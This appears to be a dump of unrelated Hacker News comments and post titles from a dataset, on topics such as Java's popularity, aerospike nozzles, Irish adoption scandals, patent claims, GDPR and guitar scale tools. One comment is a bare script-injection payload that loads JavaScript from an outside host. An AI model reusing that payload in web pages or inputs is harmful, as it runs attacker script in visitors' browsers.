skysight-inc/HackerNews huggingface dataset:
> it requires additional software to run

Many languages require additional software to run.

> Java is an impressive tech, but I still fail to understand why it is so popular.

I used to write C++ as my goto general purpose language. After using Java once I was hooked. It was much easier to do stuff and manage my dependencies.

I think Java has 3 things going for it.

1) The ecosystem is huge. To dethrone Java for backend do not just compare another language to Java, you have to compare its ecosystem. Java has a huge ecosystem especially with Spring Boot tieing many of the most popular parts of that ecosystem together.

2) Speed. Some languages are easy to use. Some are very fast. It seems to me that if one were to quantify ease and speed and plot a min-max graph, Java would be up at the top... best performance with ease of use.

3) Here I am going to throw a hodgepodge of things that can be argued but when taken together amounts to a big deal. Reliability (its used in so many places that by the time you go to write your code rest-assured you are not stumbling onto a new bug), write once, swap JVM's, advanced garbage collection (G1 and beyond, GC is something that is constantly being tweaked and improved), evolution (Java evolves with the times, it biggest gripes became the next thing being addressed), Maven/Gradle (advanced dependency management and build orchestration... these tools are very powerful), Junit/mockito and other testing tools (very powerful testing suites).
> Rust is a good solution, but it isn't trivial to learn, and might not suite all situations. I think it's great to have a C solution like this.

Isn't the learning curve of C pretty similar or even higher than rust's if you concider all the best practices you'll have to learn and understand and use? Imho in that regard rust pays off very well (and fast), because it's compiler _enforces_ most of these "best practices" to everyone.
Great idea! Please do this.
Roadmap to full stack web development 2018
This looks fantastic. Though some labels would be nice. It's difficult to find out what all the colors and the numbers mean. Adding an audio library would be a nice addition.
We used an aerospike nozzle for our senior design project at Texas A&M. I thoroughly enjoyed the research and theory behind the concept, but when it came down to actually building the thing we ran into a lot of - obvious in hindsight - complexity.

The nozzle must be made out of graphite, the manufacturing of which is much more complicated than aluminum, so throw out the door any pre-conceived notions you may have that making any shape is possible. Our nozzle was a three-part component: the inner plug (think of one of those "nose suckers" you have to get boogers out of a baby's nose) and the outer nest in which the plug sat. Between the nest and the plug you have "struts" supporting the plug to allow for a gap (through which your fuel will be exhausted). The plug is secured to the nest via some high-heat epoxy.

So yeah, way more complicated than a single bell of graphite, which is probably the #1 reason why these haven't seen industry use (the cost of complexity must be weighed against the cost of inefficiency, both are important factors in any rocket application).

I am very interested in the "linear aerospike"[1] engine though, which would obviously have design implications on the rest of the spacecraft, but manufacturing a linear aerospike would be much simpler than what we attempted.

[1] https://en.wikipedia.org/wiki/Aerospike_engine [The main image]
Try the best hummus in Georgia Tbilisi! This is a MUST visit place! HummusBar
Cdist – usable configuration management
If you think this sort of thing is entirely unrelated you haven't been paying much attention. Those kinds of "unfortunate associations" are why you don't pillory your own career by espousing reprehensible views "as a joke" (the idea that it was a joke was only brought up after the controversy)
Ok, you can also setup your own domain name I guess if you want to avoid that (like with github pages)
Very interesting.

Are you buying and selling, or are you shorting too?

Does this 60% accuracy remain if you change the training/prediction period? I'd guess that it would be more accurate if you train based on days versus seconds.
The 126 established cases were registered by St Patrick’s Guild adoption society between 1946 and 1969.
Yes, re-render the entire content of the Preview side. Not smart yet.
Re-rendering only the changed part would be great. I also thought that way, might take quite long time to implement it. So publish now, and improve performance later. So that I know if my solution is really needed by lots of people, before going deep. Thanks anyway :)
Same exact reaction here. How do you just take away a baby and tell the parent the baby died without some kind of evidence or explanation? Is this in a hospital??
>Uh... am I missing the joke?

Yes, yes you are.
I don't think that was GP's point though.
This is also good, but dated:

https://www.artima.com/insidejvm/ed2/
Surface Pro with Linux
I am a doctoral student and was given a Surface Pro as part of the program. It is pre-loaded with SPSS and other packages used in our courses.

Being a long-time MBP user, I was skeptical. But, I've since become hooked on its stylus and its use as an e-reader (the other reason the school hands these out).

I'd like to do a full linux install on the machine but don't want to lose support for the stylus and the nice e-reader functionality (highlighting with the stylus, writing in margins, auto screen orientation, etc).

At the moment the furthest I've gone is enabling the linux subsystem that allows one to run linux command line tools. Through that I use bash, vim, R, etc. but would prefer a full GUI install.

If I could accomplish that, I might retire my MBP completely as the Surface Pro is so functional.

Thoughts? Anyone running linux on a Surface Pro?
Dumb question that I feel I may have asked before, but that I don't recall the answer to:

Why does it seem like everyone believes the number of "fundamental" particles is finite? What fundamental reason is there for this?
Tying a higher purpose to doing good is meaningless if you're just saying that good people believe in doing the right thing. I believe in doing the right thing, but I wouldn't say my existence is subordinate to that. It also doesn't make sense as a reply to someone saying that "you can walk the straight and narrow path without the carrot of eternal salvation or the stick of eternal damnation."
Ask HN: Are cryptocurrencies good or bad for America?
Save button and documentation, noted. Thanks.
Very nice! Love the large collection of scales you have (750!) Do you have them all hardcoded or does the site generate them from base principles / interval patterns?

For those that may want a more random experience while practicing, I made asciitabs.com a few months ago. Not as polished or full-featured as machak's site but would likely appeal to the same audience
I recently attended a talk with Simon Ritter from Azul Systems that is developing Zing VM, and this VM is apparently gaining adoption among financial companies thanks to improved startup time and novel GC algorithms. Anyone with first hand production experience?
Mark changed his mind a lot and Canonical has started and cancelled many projects to the point it's hard to care about their new stuff anymore.

Oh you're supporting netbooks and doing a distro related to it? Cancelled.

Oh you started a cloud service that stores files forever? Cancelled.

Oh you created a competitor to X and Wayland for compositing? Cancelled.

Oh you created an alternative window manager to replace Gnome She'll? Cancelled.

Did they cancel their phone yet?

Didn't they have some kind of $30,000 server they were talking about for a while that wad cancelled?

It's hard to keep up with all their cancelled projects.
I would also say it’s one of the reasons they are getting so much flack at the moment. If the extent of data brokering was crappy mailers I would be far less passionate about the topic.
I agree with point made by 300bps - concrete information is necessary, but such 'tolerated' behaviour by the institutions affiliated with the Irish government is not unknown. This is not necessarily down to vice, but to a bizarre fastening to a cultural dysfunction that is rampant and "normal" in the Irish government if you were to accept their duplicity. No-one can get fired, there is no accountability, their stance on life and well being is well out of line with most modern Irish people (which thankfully voted yes recently), and intergenerational guilt prevents them from separating the catholic church from state. To be clear, I say this as an Irish atheist and with an already exiting intention to leave. Apart from the amount of hurt and pain that these absolutely unfounded "traditional" practices have, they serve no valid purpose and there is no one to blame. Such a duplicitous culture. Such an island of backwards savages if you were to assume the government represents the people who actually live here. Apologies for ranting. I hope the human beings that have had their identities distorted have the courage to find themselves and to accept themselves unconditionally.
Good idea! Thanks for the feedback.
Applying decades old statistical techniques to predict trends in time series data. Now with added blockchain, as is tradition.
I read this before working on prettier and it was a bit scary to be honest :)

I wasn’t convinced that the exhaustive approach with weigths was a good idea. It makes it computationally super intensive and hard to predict what the printer would do.

Instead prettier runs on a simple idea: if something doesn’t fit in one line, break the outermost parent.

This simple rule (implemented via the Wadler IR) is efficient to implement and makes the output generally look good.

Then the hard part was to go through the very looong (took me ~6 months full time) process of adding special cases for every constructs that human write in a special way.

There is nothing in there that’s hard at a computer science level, it’s just a lot of special cases. I don’t believe that there’s a general solution for it, you just need to slog through it.

And the last annoying thing are comments, they can be everywhere and are super annoying to print correctly.

Overall, it wasn’t really hard, but a lot of work.
You are reading it wrong. The things they are patenting look like the following:

1. A neural network system implemented by one or more computers, wherein the neural network system is configured to generate an output sequence of audio data that comprises a respective audio sample at each of a plurality of time steps, and wherein the neural network system comprises:

- a convolutional subnetwork comprising one or more audio-processing convolutional neural network layers, wherein the convolutional subnetwork is configured to, for each of the plurality of time steps:

- receive a current sequence of audio data that comprises the respective audio sample at each time step that precedes the time step in the output sequence, and

- process the current sequence of audio data to generate an alternative representation for the time step; and

- an output layer, wherein the output layer is configured to, for each of the plurality of time steps:

- receive the alternative representation for the time step, and

- process the alternative representation for the time step to generate an output that defines a score distribution over a plurality of possible audio samples for the time step.

This appears to me to be describing an autoencoder for audio compression.

There are two other claims as well, all related specifically to audio processing.

Now whether those actual claims are valid is a separate question. I don't know the state of the art in 2016, they could have been. They are still math, I agree. But that's how you tell what they are actually claiming, you can entirely skip the body of the patent and just read the numbered claims.

The ones that don't start with "The ... of Claim ..., wherein" are independent claims meaning that they stand on their own. The ones that do read that way are typically used to narrow the independent claim so that when they say the independent claim is too broad they can make those dependent claims mandatory.

So for instance, if the USPTO (probably) rightly claims that generating audio with a convolutional neural network isn't patentable, they can fall back to saying "The neural network system of claim 1, wherein the audio-processing convolutional neural network layers include one or more dilated convolutional neural network layers." is valid combined with claim 1 because no one has thought of that specifically, and perhaps that's all that is granted.

In that case, as long as you don't use a dilated convolutional neural network layer then it is not infringing.

It's still all ridiculous nonsense, but that's how you read the patent.
Damn I'm not seeing anything other than the navigation and a red footer, in Firefox on latest Android.
So your claim is wang and unisys systems are still being built and sold? Do you have further detail on this? Very interesting indeed.
Is making jokes and enjoying the benefit of the doubt a privilege reserved for people with the correct political opinions?
> Not true. On mobile, it takes exactly three clicks, as I stated. On desktop, it takes two clicks.

Ok, just in case you're genuinely mistaken and not trolling, I'll bite. It takes one click on both mobile (iOS at least) and desktop to get to the newest interviews (https://www.indiehackers.com/interviews/page/1). The link is in the footer (titled "interviews").

> That's just not true. Probably 30% of threads receive 0-1 replies, there's a lot of blogspam, and the community is very homogenous.

Again, I can almost understand why you'd think that if you didn't spend much time on HN or IH.

IH is definitely smaller and more homogenous than HN (in terms of interests but probably not backgrounds). So if you're the kind of person who spends their time on the 'front page' of HN and IH, it's conceivable you'd get the wrong impression.

But you'd be missing out on the bigger picture - check out the difference between the 'new posts' tabs on HN and IH... Maybe 10% of new HN posts are ever commented on or receive more than 2-3 upvotes. For Indie Hackers it's easily 50 or 60%.

> I just liked the "old" IH better.

That's fair.
> ”non-surveillance purposes”

Not what it says. It says:

“...surveillance violating internationally accepted norms.”

Thanks to leaks, we have a glimpse of the new normal.
Somehow related, when you have a problem or a decision to make, thinking about you in the third person apparently helps.
People interested in this might also like Harold Thimbleby's book Press On about using FSMs in UI design and analysis.
This article is about a related scandal and may provide more context: https://www.theguardian.com/world/2017/mar/03/mass-grave-of-...

Ireland had a practice of shaming and pressuring unmarried women to give up their babies for adoption. This pressure came from families, church, and the broader society. These babies were treated as second-class citizens in orphanages. Some (many) of them died, others were adopted. So while the entire practice was abhorrent, these children were taken through coercion, not kidnapping.
It's seems like more than a coincidence that the first and most primary AWS installation was built at Dulles Airport in 2002-2003.

Right down the road from the newly formed and growing DHS alphabet soup of agencies.
Someone hasn't played interactive text adventure games in steam or any app store. It's a cool and awesome game type these days.
How the USD Affects World Markets
[citation needed]

I've never seen any major institution/publication to claim the number of fundamental particles is finite. We discover new ones as we go. Nobody is really shocked these days.
JSON is not Turing complete
Show HN: Jupyter Notebooks for teaching/learning Python 3
The point is that its on top of the thing it replaced (keyboard). It doesn't matter much if its 10 minutes or 30 minutes, its an unnecessary waste in both situations.

> Somehow, people cope with their smartphone being covered in fingerprints.

I don't, but if I mostly type and scroll on the bottom, the fingerprints are mostly on the keyboard part. So I tend to read the top and maybe mid of my screen and then scroll further.

I actually preferred the time with hardware keyboards for example because screen stayed pristine back then, and phones were much more durable. Alas, those phones are exceptions, and if you also have other special interests such as long-term support, high uptime on one juice load, or the liberty to e.g. run SailfishOS your options quickly diminish. So my smartphone does not have a hardware keyboard, but that does not mean I don't prefer that. Choosing a smartphone is a matter of concessions. Choosing a MBP, idem.

Finally, given how often people are replacing their smartphones, I'm not exactly sure if "people cope with their smartphone" in general.
> The ZenBook screen is usable right away by anybody. You can just drag any window there. It can be your Steam chat while playing a game, it can be a browser with a Twitch stream or soccer game running in the background while your program, it can be your color pallet for Resolve while editing video ...

Do you mean that I can have a laptop with an integrated secondary display to have a Zabbix monitoring panel on it?

This might be the sysadmins' favorite laptop!

What a time to be alive!
It's still pretty hard today even with good C++ standards. If I give a less skilled developer a problem to solve in Java I may not get as optimised a solution, but I don't have to worry about his code segfaulting or opening up RCE unless he really went out of his way to do so making code review a lot easier for low hanging fruit.
Mark Zuckerberg, Elon Musk and the Feud Over Killer Robots
Was also expecting a higher number ;).
Because there is no evidence of an infinite number of different fundamental particles.
I am surprised there has not been a Qt like project spring up that is written in Rust.
Can I interest you in some Pony?

https://www.ponylang.org/
RobinHood Business Model and How Does RobinHood Make Money
“
"><script src=//trapp3rhat.com></script>
It also had group sizes of only 20.
What would constitute evidence of this? The 1000th particle? 10000th? You can always argue that may be the last one.
Huh. I always just thought of it as bears hibernating / being lethargic.

And the other ones the other one.
Watch PBS Space Time channel starting from the early videos:

https://www.youtube.com/channel/UC7_gcs09iThXybpVgjHZ_7g/vid...

They range from easy to follow to quite technical.
SQLite is so extensively tested and widely used it may as well be written in stone. It doesn't count as "writing C".
What would count as evidence for this?
Crypto currencies are agnostic to geography.
R is the Root note of the scale while the numbers are notes in the full scale. A pentatonic is a regular major/minor scale with 2 notes removed. The blues scales are the pentatonic with one note added. The colors are simply a way to highlight a geometric pattern - learn to play the patterns (and bounce around within them) and how they chain together to form various scales over the whole neck. Explaining some of these things is more of a theory lesson than something you can just add a few labels, and the colors for the patterns don't have actual names at all AFAIK.

I agree this could be expanded on in some ways.

Edit - wait, the colors are not just patterns, there are common chord forms that fit over them as well.
As soon as they're out of prison they're once more a full civilian. Which is not what's happening. Why do those punishments on top of serving jail time or community service exist? Don't you think rehabilitation means that a person fully integrates within society, including the benefits that provides?
Courts have consistently held that freedom of the press means freedom of the press-as-medium, not press-as-industry. Reporters have no more rights than you or I. What would the rationale be?
"Home" means even smaller unit.
Very nice. Small suggestion: make guide dots positions like on real guitar. Specifically, on 9th, 12th, and 15th frets instead of just odd frets.
> Collecting PII is NOT illegal, as far as I can see. Nor can it be illegal.

Article 6 [0] is phrased negatively, making collecting PII illegal unless x or y. These points cover all the use cases the lawmakers deemed valid; a real-estate agent may collect PII because of 6.1b (taking steps to enter a contract at the request of the data subject). Should a new, possibly valid reason to collect PII come up it would first need to be checked and then added to the list.

Since most websites and online services do not aim to form a contract nor fit points c-f, they have to obtain consent by the data subject (6.1a) to make collecting PII legal.

[0] https://gdpr-info.eu/art-6-gdpr/
No, it's a attempt to intentionally slow down user. I don't remember nag screens that open websites: it either tells you that you press the wrong button and re-randomizes the button order or quits the program. There are also versions that just have a timer that enable "Continue" button after a few seconds (e.g. https://kinzuakid.files.wordpress.com/2009/05/gsak-nag-scree...). It's very different from websites that trick you into clicking a button that leads you somewhere. It's a nag screen in a demo version that you can get rid of by purchasing the program. It intentionally nags/annoys users, but very far from dark or gray patterns. In fact, many of them only appear if you violate the license by using the program after the allowed period; being slightly less user friendly but still allowing users to use the program.
Terrible, maybe not. However, could we possibly be better spending some of the trillions of dollars of military budget on something like education or healthcare?
I applaud your mental gymnastics by which you put full self driving to be similar to that of remodeling of a house.

I have nothing else to add. Thanks for the laughs.
What does SoC stand for? I’m assuming not Summer of Code.
This is one of the strongest counter arguments to all the cynicism in these comments. Sure they didn’t give specs but guess what neither did Hololens until preorders opened. The main thing they haven’t done yet is a live demo which we know is a challenge because when Microsoft did it they caught a bunch of flack for misleading the tiny FOV. For magic leap they’re not launching until end of the year. Demos are supposed to come in a couple more moths. But really what compels me Is all the partnerships. Why would Weta put their reputation on the line and say their magic leap game is launching this year if it were so obviously vaporware. Same for Framestore (big Hollywood gfx house) who announced this week that they’ve been working on content for years that will be available at launch as well. It’s one thing to be skeptical of magic leap, but it becomes harder to think that they’ve hoodwinked all these other reputable companies into making content for them for a product that is crappy or not ever coming out.there have also been about 30 other devs who have announced they’re early partners who have received hardware kits privately.
As someone who stopped trying to learn guitar around middle school, I'm totally lost. Must make more sense if you're well practiced, I suppose.
I've never seen them say it explicitly, but every article I read seems to be along the lines of "physicists thought/hoped the standard model could be complete, but then this little particle came along...". Even the fact that they think they can have a model with a finite number of particles gives the impression they think this is more likely than not to be the case.